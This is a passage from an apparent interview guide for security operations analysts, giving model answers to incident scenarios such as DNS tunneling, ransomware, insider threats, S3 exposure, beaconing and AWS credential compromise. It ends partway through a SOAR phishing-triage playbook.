Communication: 9. **Notify management** and the incident response lead per our escalation procedures. 10. **Send a company-wide notification** warning employees about the phishing email with enough detail to recognize it, but without including the actual malicious URL. "If you received an email from [description] with the subject [subject], do not click any links and report it to the security team."

Post-incident: 11. Determine why the email bypassed our filters. Was it a new domain? Did it evade content filtering? Report to the email security vendor. 12. Document the full timeline and write the incident report. 13. Use this as a real example in the next security awareness training — real incidents are more effective than generic examples.

Common mistakes: - Focusing only on the 15 clickers and ignoring the rest of the recipients - Not checking what the link actually did — the response is different for credential harvesting vs. malware delivery - Not blocking the URL/domain at the network level, leaving a window for more clicks

---

Scenario 8: DNS Anomaly

Scenario: "You notice DNS queries to a domain with high entropy. What does this suggest and what do you do?"

What they are testing: Understanding of DNS-based threats, threat intelligence usage, analytical thinking.

Strong answer:

High-entropy domain names — strings that look random like `xk7f2q9m3b.evil.com` — are commonly associated with Domain Generation Algorithms (DGAs) used by malware, or DNS tunneling for data exfiltration and C2 communication.

My investigation: 1. **Identify the source.** Which internal host is making these queries? Check if it is a single host or multiple hosts — multiple hosts querying the same high-entropy domain pattern suggests a broader infection.

2. **Analyze the domain:**
    - Check threat intelligence platforms (VirusTotal, URLhaus, PassiveTotal) for the domain or its parent domain
    - When was the domain registered? Recently registered domains combined with high entropy are a strong indicator of malicious activity
    - Does the domain resolve? What IP does it point to? Is the IP in a hosting range known for malicious infrastructure?
    - Are there TXT records or unusually large DNS responses? That can indicate DNS tunneling
3. **Analyze the query pattern:**

- How frequently are queries being made? Regular intervals (beaconing) suggest C2 communication
- What is the volume of unique subdomains? High volume with unique subdomains suggests data exfiltration (each subdomain label carries a chunk of exfiltrated data)
- What is the size of the queries? DNS tunneling often produces queries with unusually long subdomain labels

4. **Check the host:** Review EDR telemetry on the source host. What process is generating the DNS queries? If it is a legitimate browser process, the user may have visited a compromised site. If it is an unknown or suspicious process, the host may be infected.

5. **Containment:** If the evidence points to malware or C2:

   - Block the domain (and any related domains) at the DNS level and firewall
   - Isolate the affected host(s)
   - Investigate the full scope of the compromise

This is the type of alert that looks minor but can reveal a significant compromise. DGA-based malware and DNS tunneling are used by sophisticated threat actors specifically because DNS is often under-monitored.

Common mistakes: - Dismissing high-entropy domains as noise without investigating - Only blocking the specific domain without looking for the pattern — DGA malware generates thousands of domains - Not checking the host to determine what process is generating the queries

---

Scenario 9: Data Exfiltration Alert

Scenario: "Explain how you'd investigate a potential data exfiltration alert."

What they are testing: Methodical investigation approach, understanding of data loss vectors, ability to balance security with business operations.

Strong answer:

I would approach this systematically, starting with the alert details and expanding from there.

Understand the alert: - What triggered it? DLP policy violation, anomalous outbound data volume, uploads to file-sharing services, or unusual email attachment activity? - Which user and host are involved? - What data is potentially being exfiltrated — is it classified, PII, financial, intellectual property?

Investigate the activity: - Check proxy logs: What was the destination? Is it a personal cloud storage service (Dropbox, Google Drive), a personal email (Gmail, Yahoo), or an unknown external server? - Check the data volume and timing. Large uploads outside business hours are more suspicious than normal-sized transfers during work hours. - Review EDR: What application or process initiated the transfer? Is it a browser, a sync client, a custom tool? - Check for data staging. Before exfiltrating, attackers often collect and compress data. Look for recent archive creation (.zip, .rar, .7z), especially encrypted archives. - Review the user's behavior over the past 30 days. Is this consistent with their normal activity, or is this a departure?

Context assessment: - Is this a user who recently gave notice, was put on a performance plan, or was denied a promotion? HR context matters for insider threat assessment. - Is the data something

the user would legitimately work with, or is it outside their normal scope? - Could this be legitimate work activity (e.g., a sales rep uploading a large proposal to a client's file-sharing portal)?

Escalation decision: - If it looks like unauthorized data transfer, I would preserve evidence (screenshots, log exports) and escalate to the incident response lead and potentially legal/HR depending on organizational policy. - I would not confront the user directly — insider threat investigations are handled by specific teams for legal and HR reasons. - If it appears to be a policy violation rather than malicious intent (e.g., using personal Dropbox for work convenience), it may be a coaching/policy enforcement issue rather than a security incident.

Common mistakes: - Confronting the user directly, which can tip off a malicious insider and compromise the investigation - Not involving HR and legal when insider threat indicators are present - Treating all DLP alerts the same — a developer uploading code to GitHub is different from an employee uploading customer PII to a personal cloud account

---

Scenario 10: Insecure Access Request

Scenario: "A developer says they need to open port 22 to the internet for a vendor. How do you handle this?"

What they are testing: Ability to balance security with business needs, understanding of network security, negotiation skills.

Strong answer:

I would not approve opening SSH directly to the internet. That is one of the most commonly attacked services — automated scanners and botnets constantly probe port 22. But I also would not just say "no" without offering alternatives.

My approach: 1. **Understand the requirement.** What does the vendor need to do? Do they need interactive shell access, file transfer, or API access? How often? For how long? This determines the right solution.

2. **Propose secure alternatives:**
   - **VPN access:** Give the vendor VPN credentials with MFA. They connect to the VPN and then SSH to the internal server. The server never has port 22 exposed to the internet.
   - **Jump host / bastion:** Set up a hardened bastion host in a DMZ. The vendor SSHes to the bastion (with MFA and key-based auth), then from the bastion to the internal server. Log all sessions.
   - **Zero-trust access (e.g., Tailscale, Cloudflare Tunnel, Zscaler):** The vendor accesses the resource through an identity-aware proxy without any inbound ports being opened.
   - **IP whitelisting:** If the vendor has a static IP and the above options are not feasible, restrict port 22 access to *only* that IP address (not the entire internet), require key-based authentication (no passwords), and set a time limit.
   - **Vendor remote access tool:** Some vendors provide their own secure remote support tools. Evaluate whether those meet our security requirements.
3. **If the developer pushes back:** Explain the risk concretely. "Opening port 22 to the internet will result in thousands of automated brute-force attempts per day. Even with

key-based auth, any misconfiguration creates a direct path from the internet to our internal network. A VPN adds one extra step for the vendor but eliminates this entire risk surface."

4. **Document the decision.** If management overrules and accepts the risk, document who approved it, the risk that was communicated, and any compensating controls (IP restriction, monitoring, time limit).

Common mistakes: - Just saying "no" without offering alternatives — security that blocks business without providing solutions gets bypassed - Opening port 22 to the internet with "we'll just use strong passwords" — automated attackers do not care how strong your password is if they have a zero-day for OpenSSH - Not setting a time limit — temporary access that becomes permanent is how attack surfaces grow

---

Scenario 11: Ransomware Detection

Scenario: "EDR alerts show a process rapidly encrypting files across a file server. What do you do?"

What they are testing: Urgency assessment, containment speed, understanding of ransomware behavior.

Strong answer:

This is a critical incident requiring immediate action. Ransomware encryption is time-sensitive — every second it runs, more data is lost.

Immediate containment (first 5 minutes): 1. **Isolate the affected server** from the network immediately — through EDR network isolation if available, or physically disconnecting the network cable. This stops the encryption from spreading to network shares and other hosts. 2. **Identify the process** and kill it if EDR has not already done so. Note the process name, PID, and file path before killing it — this is evidence. 3. **Check if the ransomware is spreading** — are other hosts showing similar activity? Ransomware often moves laterally before encrypting. Check for the same process or similar file encryption patterns on other systems.

Assessment (next 30-60 minutes): 4. **Determine the entry vector.** How did the ransomware get on the file server? Phishing, exploited vulnerability, compromised credentials, lateral movement from another compromised host? 5. **Identify the ransomware variant** if possible — check the file extension used for encrypted files, any ransom notes dropped, and submit samples to ID Ransomware or VirusTotal. The variant determines whether decryption is possible. 6. **Assess the blast radius.** What data was encrypted? How much was encrypted before containment? Are backups available and intact? (Ransomware often targets backups first.) 7. **Check the backup integrity** immediately. Do not restore yet — first verify that backups were not also compromised or encrypted.

Escalation and communication: 8. Escalate to the incident response lead and notify management. Depending on the scope, this may involve legal, PR, and potentially law enforcement. 9. Follow the organization's incident response plan for ransomware — this should be a documented playbook.

Key principle: Do not pay the ransom until all other options are exhausted and only with executive and legal approval. There is no guarantee of decryption, and payment funds criminal

operations.

Common mistakes: - Hesitating on network isolation because the server is production-critical — the ransomware does not care about your SLA. Every second of hesitation is more data encrypted - Trying to "investigate first" before containing — with active ransomware, contain first, investigate second - Not checking whether backups are intact before assuming recovery is possible - Rebooting the infected machine, which can trigger additional encryption routines in some ransomware families

---

Scenario 12: Insider Threat Indicators

Scenario: "A user who recently gave two weeks' notice is accessing file shares they don't normally touch. What do you do?"

What they are testing: Insider threat awareness, balancing investigation with employee privacy, escalation judgment.

Strong answer:

This is a potential insider threat scenario. A departing employee accessing unusual file shares is a significant risk indicator — especially if those shares contain intellectual property, customer data, or competitive information.

My approach: 1. **Verify the activity.** Review file access logs and confirm the user is actually accessing shares outside their normal baseline. Compare their recent 2-week activity against their 6-month baseline. What are they accessing, and how much data are they reading or copying?

2. **Check for data transfer.** Is the user copying files to USB, uploading to personal cloud storage, emailing files to a personal address, or printing unusual volumes? DLP logs, proxy logs, and endpoint monitoring will tell me this.
3. **Do not alert the user.** I would not confront them or change their access yet, as that could trigger accelerated exfiltration.
4. **Escalate to the appropriate team.** Insider threat investigations involve HR, legal, and management — this is not a decision for a SOC analyst alone. I would document my findings and escalate per our insider threat policy.
5. **Recommend monitoring.** If HR/legal approve, increase monitoring on the user's account: heightened DLP alerting, USB device logging, email monitoring. Some organizations have departing employee monitoring procedures that should already be in place.
6. **Preserve evidence.** Ensure all relevant logs are preserved and exported. If this escalates to legal action, we need a forensic chain of custody.

Common mistakes: - Immediately revoking the user's access, which alerts them and may cause them to accelerate using alternative methods - Investigating alone without involving HR and legal — insider threat cases have legal implications that go beyond security - Assuming the activity is malicious without considering legitimate explanations (cross-team project handoff, knowledge transfer)

Scenario 13: Cloud Misconfiguration

Scenario: "You discover an S3 bucket with customer data is publicly accessible. What do you do?"

What they are testing: Cloud security awareness, incident response in cloud environments, risk assessment.

Strong answer:

This is a critical incident — publicly accessible customer data is a potential data breach with regulatory implications.

Immediate actions: 1. **Restrict access immediately.** Change the bucket's access control to private. Block public access at the account level if possible. This is the highest priority — every minute the data is exposed increases the risk. 2. **Verify the change took effect.** Test from an unauthenticated session to confirm the bucket is no longer publicly accessible.

Investigation: 3. **Determine what data is in the bucket.** Is it PII, financial data, health records? The data type determines regulatory obligations (GDPR, HIPAA, PCI DSS, state breach notification laws). 4. **Check access logs.** If S3 server access logging or CloudTrail data events are enabled, review who accessed the bucket while it was public. Look for access from unknown IPs or automated scraping tools. If logging was not enabled, we cannot determine exposure scope — document this gap. 5. **Determine how it became public.** Was it a misconfiguration during creation, a policy change, or a Terraform/CloudFormation update that inadvertently removed access controls? Check CloudTrail management events for `PutBucketPolicy`, `PutBucketAcl`, or `PutPublicAccessBlock` events.

Escalation: 6. **Notify the incident response lead, management, and legal/compliance.** If this constitutes a data breach under applicable regulations, there may be notification requirements with strict timelines (e.g., 72 hours under GDPR). 7. **Engage the team that owns the bucket** to determine if there was a business reason for public access (unlikely for customer data, but verify).

Remediation: 8. Implement preventive controls: enable S3 Block Public Access at the account level, create SCPs (Service Control Policies) to prevent public bucket creation, add automated alerting for any public access changes (AWS Config rules, CloudWatch Events). 9. Audit other S3 buckets for the same misconfiguration.

Common mistakes: - Not checking access logs to determine if the data was actually accessed while public - Fixing the misconfiguration without determining root cause — it will happen again - Not involving legal/compliance when customer data may have been exposed

---

Scenario 14: Beaconing Traffic

Scenario: "You notice a host making outbound connections to the same IP every 60 seconds. What do you investigate?"

What they are testing: Understanding of C2 communication patterns, network analysis skills.

Strong answer:

Regular, periodic outbound connections — beaconing — are a classic indicator of command-and-control communication. Malware often checks in with its C2 server at regular intervals to receive instructions and send status updates.

My investigation: 1. **Identify the destination IP.** Run it through threat intelligence platforms. Check geolocation, ASN ownership, and whether it resolves to any domains. Even if it is not flagged yet, a new or uncategorized IP receiving beaconing traffic is suspicious.

2. **Analyze the traffic.** What port and protocol is it using? HTTPS on 443 would blend with normal traffic — that is intentional on the attacker's part. Is the payload size consistent each time (heartbeat) or does it vary (data transfer)? Small, consistent payload sizes suggest a keep-alive beacon. Variable sizes suggest data is being exchanged.
3. **Check the source host.** What process is generating the connections? EDR should show the responsible process. Is it a known application, a svchost process, a browser, or an unknown executable? Check the process hash.
4. **Look for jitter.** Sophisticated C2 frameworks add random delays (jitter) to avoid detection by exact-interval alerting. If the connections are almost exactly 60 seconds apart with no variation, it could be a less sophisticated tool — or a legitimate heartbeat from a monitoring agent or software update checker.
5. **Correlate with other indicators.** Is the host showing any other suspicious activity? Unusual process execution, privilege escalation, file access patterns?
6. **Check for legitimacy.** Some legitimate software beacons home: antivirus checking for updates, cloud management agents, monitoring tools. Verify against known software inventory before escalating.

If determined to be C2: isolate the host immediately, block the C2 IP across the environment, check if any other hosts are communicating with the same IP, and begin a full compromise investigation.

Common mistakes: - Immediately blocking the IP without first understanding the full scope — the attacker may have multiple C2 channels - Not checking if the traffic is from legitimate software - Only looking at the frequency without analyzing the traffic content and the generating process

---

Scenario 15: Suspicious USB Activity

Scenario: "An alert fires for a USB device being plugged into a server in the data center. What do you do?"

What they are testing: Physical security awareness, policy enforcement, investigation methodology.

Strong answer:

USB devices on servers are a significant concern because they can be used for data exfiltration, malware delivery, or unauthorized access via bootable media. Most organizations prohibit USB devices on servers.

My response: 1. **Identify the server and the USB device.** What server was it? What type of device was connected (storage device, keyboard, other)? 2. **Check who was logged in** to

the server or physically present. Correlate with badge access logs for the data center to identify who was in the room at the time. 3. **Check what happened.** Was anything copied to the USB device? Was anything copied from the USB device to the server? EDR and DLP logs should show file operations associated with the USB mount. 4. **If data was copied off the server:** This is potential data exfiltration. Escalate to incident response, HR, and management. Preserve all logs as evidence. 5. **If something was loaded onto the server:** Check what was loaded and whether it executed. Scan the server for malware, check for new scheduled tasks, services, or unauthorized software. 6. **Verify USB policy enforcement.** If USB devices should be blocked on servers, why was this one able to mount? The USB device control policy may need to be enforced via endpoint management (GPO, EDR policy, or device control software).

Common mistakes: - Assuming it was just an admin using a USB for maintenance without verifying - Not checking what was transferred in either direction - Not reviewing physical access logs to identify the responsible party

---

Scenario 16: Watering Hole Discovery

Scenario: "Threat intelligence reports that a website frequently visited by your organization has been compromised and is serving a browser exploit. What do you do?"

What they are testing: Threat intelligence application, proactive response, scope assessment.

Strong answer:

This is a watering hole attack — the attacker compromised a site popular with our users, knowing our employees would visit it. I would treat this as a potential breach until proven otherwise.

Immediate actions: 1. **Block the compromised domain** at the proxy/web filter and DNS level immediately. 2. **Identify all users who visited the site** during the compromised period. Check proxy logs for connections to the domain with the relevant timeframe from the threat intelligence report. 3. **Cross-reference with EDR.** For every user who visited the site, check their endpoint for indicators of compromise — new processes, suspicious network connections, dropped files, browser exploitation artifacts. 4. **Check if the exploit targets a specific vulnerability.** Are our browsers and systems patched against it? If the exploit targets a vulnerability we have already patched, our exposure is lower.

Assessment and response: 5. Prioritize investigation based on who visited the site and their access level. An admin who visited is higher risk than a standard user. 6. For any host showing signs of compromise, isolate and investigate. 7. Update detection rules with any IOCs from the threat intelligence report (C2 IPs, dropped file hashes, exploit signatures).

Communication: 8. Notify users that the site is blocked and why (without revealing the specific exploit details that could be useful to an adversary). 9. If any hosts were compromised, follow the full incident response process.

Common mistakes: - Only blocking the domain without checking who already visited it - Not checking endpoints for users who visited the site before it was blocked - Waiting for signs of compromise instead of proactively hunting

---

Scenario 17: Rogue Device on Network

Scenario: "Network monitoring detects a new device on the corporate network that does not match any known inventory. What do you do?"

What they are testing: Network security awareness, investigation methodology, understanding of unauthorized access risks.

Strong answer:

An unknown device on the corporate network could be anything from an employee's personal device to a rogue access point planted by an attacker. I would not assume it is benign.

1. **Gather information:** MAC address, IP address (DHCP assigned?), what it is communicating with, and where on the network it appeared (which switch port, which VLAN, which access point).
2. **Check the MAC vendor** (OUI lookup). This tells me the manufacturer — is it a laptop, phone, IoT device, or Raspberry Pi?
3. **Check the physical location** — which switch port or access point is it connected to? This can be traced to a specific office area or closet.
4. **Analyze its traffic.** What is it doing on the network? Passive enumeration (scanning) is very suspicious. Normal traffic to the internet is less alarming but still unauthorized.
5. **Isolate the device.** Disable the switch port or quarantine it to a restricted VLAN pending investigation. Do not remove it physically until you have documented its presence.
6. **Investigate.** Is it an employee's personal device that bypassed NAC? Is it an IoT device someone installed without authorization (printer, smart TV, smart speaker)? Or is it something more concerning (drop device, rogue access point)?

If it is a rogue device placed intentionally, this is a physical security incident that involves facility security and potentially law enforcement.

Common mistakes: - Ignoring it because "it's probably just someone's phone" - Unplugging the device immediately without gathering forensic information first - Not tracing the physical location

---

Scenario 18: Certificate Warning Investigation

Scenario: "Multiple users report certificate warnings when accessing an internal application. What do you investigate?"

What they are testing: Understanding of PKI/TLS, ability to distinguish between operational issues and attacks.

Strong answer:

Certificate warnings can indicate either an operational issue or an active man-in-the-middle attack. I would investigate to distinguish between the two.

First, characterize the warnings: - What specific warning are users seeing? Expired certificate, untrusted CA, hostname mismatch, or revoked certificate? - How many users and from which locations? If it is all users, likely a server-side issue. If it is only users on a specific network segment, that is more suspicious.

If the certificate expired: - This is an operational issue. Check with the team that manages the application. Certificates expire, and renewal may have been missed. Fix it, but also recommend implementing certificate expiration monitoring.

If the certificate is from an untrusted CA or has a hostname mismatch: - This could be a man-in-the-middle attack where someone is intercepting traffic with a fraudulent certificate. Check: has the certificate on the server changed recently? Compare the certificate fingerprint against the known-good certificate. - Check if a network device (proxy, firewall, load balancer) is performing TLS inspection — this legitimately causes certificate warnings if the inspection certificate is not trusted by clients.

If the certificate is revoked: - Determine why it was revoked. Was the private key compromised? This requires immediate investigation.

In all cases: - Advise users NOT to click through the warning until it is resolved - Verify the server's certificate chain from a trusted machine - Check DNS to ensure the application's domain is resolving to the correct IP (DNS hijacking could redirect users to a malicious server with a fake certificate)

Common mistakes: - Assuming it is always just an expired certificate without investigating - Telling users to "just click through it" — this trains users to ignore security warnings - Not checking for DNS hijacking or MITM as possible causes

---

Scenario 19: Third-Party Breach Notification

Scenario: "A vendor your company uses notifies you of a breach that may have exposed your organization's data. What actions do you take?"

What they are testing: Third-party risk management, incident response for supply chain events, communication skills.

Strong answer:

A third-party breach requires both immediate response and strategic assessment. We may not control the vendor's environment, but we control our exposure.

Immediate actions: 1. **Understand the scope of the breach.** Request specifics from the vendor: what data was exposed, when did the breach occur, when was it discovered, what is their remediation status? Get this in writing. 2. **Identify our exposure.** What data did we share with this vendor? PII, credentials, API keys, financial data? Reference our vendor risk assessment and data sharing agreements. 3. **Rotate any shared credentials immediately.** API keys, shared accounts, integration tokens — all of them. Do not wait for the vendor to confirm these were specifically compromised. 4. **Review access.** What access does this vendor have to our systems? VPN accounts, API access, federated authentication? Disable or restrict until the situation is understood.

Investigation: 5. **Review our logs** for the vendor's known access points. Look for unusual activity during the breach window — the vendor's access may have been used by the attacker. 6. **Check for IOCs** the vendor provides and hunt for them in our environment. 7. **Assess regulatory obligations.** If our customer data was in the exposed dataset, we may have our own breach notification obligations.

Communication and governance: 8. Notify management, legal, and compliance. 9. Document everything — timeline, communications with vendor, actions taken. This may be needed for regulatory inquiries. 10. Post-incident: evaluate whether this vendor should remain an approved partner, and what contractual obligations they met or failed regarding security controls and notification timelines.

Common mistakes: - Trusting the vendor's assurance that "your data was not affected" without independent verification - Not rotating shared credentials immediately - Forgetting that the vendor's breach may trigger your own notification obligations

---

Scenario 20: After-Hours Alert

Scenario: "You're on the overnight shift and an alert fires that you've never seen before. The runbook doesn't cover it and your senior analyst is unreachable. What do you do?"

What they are testing: Independence, judgment, escalation decision-making, composure under uncertainty.

Strong answer:

I would not panic, and I would not ignore it. Not having a runbook for a specific alert does not mean I cannot apply fundamentals.

1. **Read the alert carefully.** What source generated it? What is the detection logic? What host, user, or network segment is involved? Understanding the alert is always step one.
2. **Apply basic triage.** Is this a known false-positive-prone rule? Check the alert history — has it fired before, and what was the disposition? If it fires 20 times a day and is always closed as a false positive, that is context (though I would still verify).
3. **Gather evidence.** Look at the relevant logs. If it is a network alert, check firewall and proxy logs. If it is an endpoint alert, check EDR. If it is an authentication alert, check auth logs. The investigation methodology is the same regardless of whether a runbook exists.
4. **Assess severity.** Based on what I find, is this something that can wait until morning or does it need immediate action? My threshold for containment action: if I see evidence of active compromise, data exfiltration, or ransomware, I act now and explain later. Better to contain and be wrong than wait and be right.
5. **Escalate appropriately.** If the senior analyst is unreachable, escalate to the next person in the chain — the SOC manager, the on-call engineer, or the incident response hotline. Most organizations have an escalation path deeper than one person.
6. **Document everything.** Even if I cannot resolve it tonight, a thorough writeup of what I found, what I did, and what remains open ensures the day shift can pick it up with context.

The key is: I do not need a runbook to investigate an alert. The runbook makes it faster, but the methodology is the same — gather context, assess severity, investigate, contain if necessary, escalate if warranted, document regardless.

Common mistakes: - Closing the alert as a false positive because you do not understand it - Doing nothing and "waiting for the senior analyst" while an active compromise progresses - Making

a containment action without documenting why — the morning team will question it

---

Scenario 21: Malware on Air-Gapped System

Scenario: "Malware is discovered on a system that is supposed to be air-gapped. How could it have gotten there and what do you do?"

What they are testing: Understanding of air-gap limitations, physical security, creative threat thinking.

Strong answer:

An air-gapped system infected with malware means the air gap was bridged — either the gap was not truly complete, or the malware was introduced through a physical vector.

Possible delivery methods: - **USB device** — the most common way to bridge an air gap. An employee or contractor brought a USB drive (possibly infected unknowingly) and connected it to the system. Stuxnet was delivered this way. - **Supply chain compromise** — the malware was pre-installed on hardware or software before it was deployed to the air-gapped network. - **Maintenance laptop** — a technician connected a network-connected laptop to the air-gapped system for maintenance. - **The air gap is not real** — a "forgotten" network cable, a WiFi adapter, or a cellular modem bridging the systems to the network. - **Optical media (CD/DVD)** — data transferred via burned disc that was infected.

Investigation: 1. Preserve the malware sample for analysis — do not wipe the system yet. 2. Verify the air gap is genuine. Trace every physical connection. Check for wireless interfaces. 3. Review physical access logs — who has been near this system? 4. Audit all removable media that has been used with this system. 5. Check all other systems on the air-gapped network for the same malware.

Remediation: 6. Reimage the infected system from known-clean media. 7. Implement USB device control (whitelist approved devices only). 8. Establish a procedure for transferring data into the air-gapped environment with mandatory scanning.

Common mistakes: - Assuming it is impossible and doubting the detection rather than investigating - Wiping the system before forensic analysis - Not auditing the entire air-gapped network for broader infection

---

Scenario 22: Compliance Audit Finding

Scenario: "An auditor finds that your organization is logging authentication events but retention is only 30 days. The compliance requirement is 1 year. What do you recommend?"

What they are testing: Compliance awareness, practical problem-solving, understanding of log management.

Strong answer:

This is a compliance gap that needs to be addressed, but the fix needs to be both compliant and operationally sustainable.

Immediate recommendation: 1. Extend log retention to meet the compliance requirement (1 year minimum). This is non-negotiable if it is a regulatory requirement. 2. Evaluate the cost: 1 year of authentication logs for the entire environment is a significant storage commitment. Calculate the volume and the cost for our SIEM license (if volume-based) and underlying storage.

Practical approach: - **Tiered storage.** Keep 90 days of hot/searchable data in the SIEM for active investigation. Archive older data to cold storage (S3, Azure Blob, on-prem NAS) for compliance. The data must still be retrievable and searchable — just not in real time. - **Compression and deduplication.** Authentication logs compress well. This significantly reduces storage costs. - **Scope correctly.** The compliance requirement may specify authentication events for systems handling specific data types (PCI for cardholder data, HIPAA for PHI). Ensure those systems are covered before expanding to everything.

Prevention: 3. Review all compliance requirements against our current log retention policies — if authentication logs are 30 days, other log sources may have similar gaps. 4. Document the retention policy and get it approved by compliance/legal. 5. Implement automated alerts for when log storage approaches capacity — you do not want to discover you lost logs because the disk filled up.

Common mistakes: - Just extending the SIEM retention to 1 year without considering cost — SIEM licenses based on ingestion volume make this extremely expensive - Not verifying the data is actually retrievable from archives — having data you cannot search is not meaningful compliance - Only fixing authentication logs without checking other log types

---

Scenario 23: Vulnerability Prioritization

Scenario: "Your vulnerability scan returns 5,000 findings. How do you prioritize what to fix first?"

What they are testing: Risk-based thinking, practical vulnerability management, business awareness.

Strong answer:

You cannot fix 5,000 vulnerabilities at once, and not all vulnerabilities carry the same risk. Prioritization should be based on real-world risk, not just CVSS score.

My prioritization framework:

1. **Exploitability:** Is there a known exploit in the wild? A CVSS 7.0 vulnerability that is actively being exploited is more urgent than a CVSS 9.0 that has no known exploit. Check CISA's Known Exploited Vulnerabilities (KEV) catalog, Exploit-DB, and threat intelligence feeds.

2. **Exposure:** Is the vulnerable system internet-facing, internal-only, or isolated? An internet-facing web server with a critical RCE vulnerability is the highest priority. The same vulnerability on an internal test server is lower.

3. **Asset criticality:** What does the system do? A domain controller, a database with customer PII, or a financial application has higher priority than a developer's test VM.

4. **Data sensitivity:** Does the system process, store, or transmit sensitive data (PII, PHI, financial, intellectual property)?

5. **Compensating controls:** Are there other controls mitigating the risk? A vulnerable system behind a WAF with limited network access is lower risk than the same system directly exposed.

Practical approach: - Fix internet-facing + actively exploited + critical asset vulnerabilities first (this is usually a manageable number) - Group remaining vulnerabilities by system owner/team and provide prioritized lists - Do not just send raw scan reports to system owners — they need actionable guidance - Track remediation timelines based on severity: critical (48-72 hours), high (1 week), medium (30 days), low (next maintenance window)

Common mistakes: - Sorting by CVSS score alone and working top to bottom - Trying to fix everything and fixing nothing because the team is overwhelmed - Not communicating with system owners — vulnerability management is a collaboration, not a mandate

---

Scenario 24: Cloud Investigation (AWS CloudTrail)

Scenario: "Your SIEM alerts on an IAM user making API calls from an IP address in a country where your company has no employees. The calls include ListBuckets, GetBucketAcl, and attempts to modify S3 bucket policies. Walk me through your investigation."

What they are testing: Cloud security knowledge, ability to investigate in AWS environments, structured IR thinking applied to cloud-native threats.

Strong answer:

This looks like a compromised IAM credential being used for reconnaissance and potential data exfiltration setup. The API calls tell a story — someone is mapping out your S3 environment and trying to weaken access controls. That is not casual poking around. Let me walk through how I would handle it.

Initial triage (first 15 minutes):

Start with CloudTrail. I want the full picture of what this IAM user has been doing, not just what triggered the alert. I would filter CloudTrail events by the user's ARN and the suspicious source IP, then expand to all activity from that user over the past 72 hours regardless of source IP. The attacker may have started from a legitimate location before switching.

Key things I am looking for in CloudTrail: - The full list of API calls — ListBuckets and GetBucketAcl are reconnaissance, but did they also call GetObject (downloading data), PutBucketPolicy (opening access), or CreateAccessKey (creating a backdoor)? - The user agent string — is this the AWS CLI, an SDK, or the console? This tells me how the attacker is operating. - Whether the IP resolves to a known VPN provider, cloud hosting, or Tor exit node. A cloud IP suggests automated tooling. Run the IP through threat intelligence feeds and geolocation.

Check if GuardDuty fired on this too. GuardDuty specifically watches for anomalous API behavior and credential use from unusual locations. If GuardDuty flagged it, it may have additional context about the finding type (like UnauthorizedAccess:IAMUser/MaliciousIPCaller).

Scope assessment:

Now I need to know how bad this is. Several questions to answer quickly:

- Pull the IAM credential report (`aws iam generate-credential-report`) — when were this user's access keys last rotated? Do they have console access AND programmatic access? Are there multiple access keys?
- Check if the user has any inline or attached policies that grant broad permissions. An admin-level user poking at S3 is a much bigger problem than a read-only user.
- Search CloudTrail for any `CreateAccessKey`, `CreateUser`, or `AttachUserPolicy` calls — the attacker may have already created a backdoor.
- Look for activity from the suspicious IP on OTHER IAM users. If more than one credential is compromised, this may be a broader breach — possibly leaked credentials from a code repo, a phishing campaign, or a compromised CI/CD pipeline.
- Check S3 access logs (if enabled) for the buckets they enumerated. Did they successfully download anything?

Containment:

Here is where people make a critical mistake — they disable the entire IAM user account. Do not do that yet. Here is why: disabling the user destroys your ability to see what is still happening in real time, and it tips off the attacker that you are onto them if they are watching.

Instead: 1. **Deactivate the specific access keys** that were used from the suspicious IP. Run `aws iam update-access-key --status Inactive` for those keys. This kills the attacker's access without nuking the whole account. 2. **Revoke active sessions** by attaching an inline deny-all policy with a condition on `aws:TokenIssueTime` before the current timestamp. This invalidates any temporary credentials from AssumeRole. 3. If the user has console access, reset the password and remove any MFA devices the attacker may have registered. 4. Add a deny policy on S3 bucket policy modifications from any source while you investigate — belt and suspenders.

Recovery and follow-up:

- Determine the compromise vector. How did the attacker get these credentials? Common culprits: credentials committed to a public GitHub repo (check GitHub search and tools like truffleHog), phishing, a compromised workstation, or an overly permissive CI/CD service role.
- Issue new access keys for the legitimate user once the investigation is complete.
- Review and tighten the user's IAM policies — apply least privilege if they were over-permissioned.
- If any S3 bucket policies were successfully modified, revert them immediately and check for data access during the window they were open.
- Submit IOCs (the source IP, user agent strings) to your threat intel platform.
- Write the incident report and recommend enabling GuardDuty (if not already active), SCPs to restrict S3 policy changes, and mandatory MFA for all IAM users with programmatic access.

Common mistakes: - Immediately disabling the IAM user account, which destroys visibility and may break legitimate services that depend on that user - Only looking at the API calls that triggered the alert instead of pulling the full activity timeline - Not checking for backdoor credentials (new access keys, new IAM users) the attacker may have already created - Treating this as an isolated credential compromise without checking if other users are affected

---

Scenario 25: SOAR Playbook Design for Phishing Triage

Scenario: "We are implementing a SOAR platform. Your manager asks you to design an automated playbook for phishing email triage. What would your playbook do?"

What they are testing: Understanding of automation in security operations, ability to think through workflow design, awareness of where humans need to stay in the loop.

Strong answer:

Phishing triage is one of the best use cases for SOAR because it is high-volume, repetitive, and follows a predictable decision tree. A well-designed playbook can handle 80% of phishing reports without an analyst touching them, while making sure the dangerous 20% gets human eyes fast.

Trigger:

The playbook kicks off one of two ways: - A user clicks "Report Phishing" (button in Outlook, or forwards to a phishing@company.com mailbox). This is the most common trigger. - The email gateway flags a message that passed initial filters but has suspicious characteristics (like a newly registered sender domain or a URL that was clean at delivery but is now flagged).

Either way, the playbook receives the raw email — headers, body, URLs, and attachments.

Automated enrichment (runs in parallel, takes seconds):

1. **Header analysis.** Parse the email headers for the true sender IP, check SPF/DKIM/DMARC results, and flag any header spoofing. Compare the Reply-To address against the From address — a mismatch is a classic phishing indicator.
2. **URL analysis.** Extract all URLs from the body and any attachments. For each URL:
   - Check against threat intel feeds (VirusTotal, URLhaus, PhishTank).
   - Check domain registration date — anything registered in the last 30 days gets flagged.
   - Check if the domain is a lookalike of a known brand (typosquatting detection).
   - If the URL is behind a URL shortener, unwind it to the final destination.
3. **Attachment analysis.** If there are attachments:
   - Hash the file and check against known-malware databases.
   - Submit to a sandbox (like Joe Sandbox, ANY.RUN, or CrowdStrike Falcon Sandbox) for detonation. Wait for the verdict — this is the one step that might take a minute or two.
   - Flag risky file types: .exe, .scr, .js, .hta, .iso, .img, password-protected zips.
4. **Sender reputation.** Check the sender address against:
   - Your internal allow-list (known partners, vendors, internal domains).
   - Previous phishing reports — have other users reported this same sender?
   - Threat intel feeds for known phishing sender addresses.
5. **Internal context.** Check if this email was sent to one user or many. If 50 people got the same email, that changes the urgency and the response.

Decision logic:

Based on the enrichment results, the playbook makes a call:

